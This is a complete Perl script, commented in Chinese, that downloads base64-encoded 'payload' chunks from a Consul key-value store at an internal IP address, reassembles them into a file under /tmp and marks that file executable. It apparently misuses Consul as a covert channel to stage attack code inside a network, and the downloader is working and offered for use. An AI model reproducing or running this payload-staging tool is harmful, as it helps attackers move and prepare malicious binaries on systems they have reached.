#!/usr/bin/perl # 文件名: kv_download.pl # 用途: 从 Consul KV 下载分块载荷,base64 解码后重组为完整文件 # 用法: perl kv_download.pl use strict; use IO::Socket::INET; use MIME::Base64 qw(decode_base64); my ($prefix, $chunks, $outfile) = @ARGV; $prefix ||= "payload"; $chunks ||= 1; $outfile ||= "/tmp/downloaded"; my $consul = "172.20.0.20"; # consul_node 内网 IP open(my $fh, ">", $outfile) or die "open $outfile: $!"; binmode($fh); for my $i (0 .. $chunks - 1) { my $key = sprintf("chunk_%03d", $i); my $s = IO::Socket::INET->new(PeerAddr => $consul, PeerPort => 8500, Timeout => 10) or die "chunk $i connect: $!"; print $s "GET /v1/kv/$prefix/$key?raw HTTP/1.0\r\nHost:c\r\n\r\n"; my $d = ""; while (sysread($s, my $b, 32768)) { $d .= $b } close $s; $d =~ s/.*?\r?\n\r?\n//s; $d =~ s/\s+//g; my $bin = decode_base64($d); print $fh $bin; print STDERR "[$i] " . length($bin) . " bytes\n"; } close $fh; print "total: " . (-s $outfile) . " bytes\n"; chmod 0755, $outfile;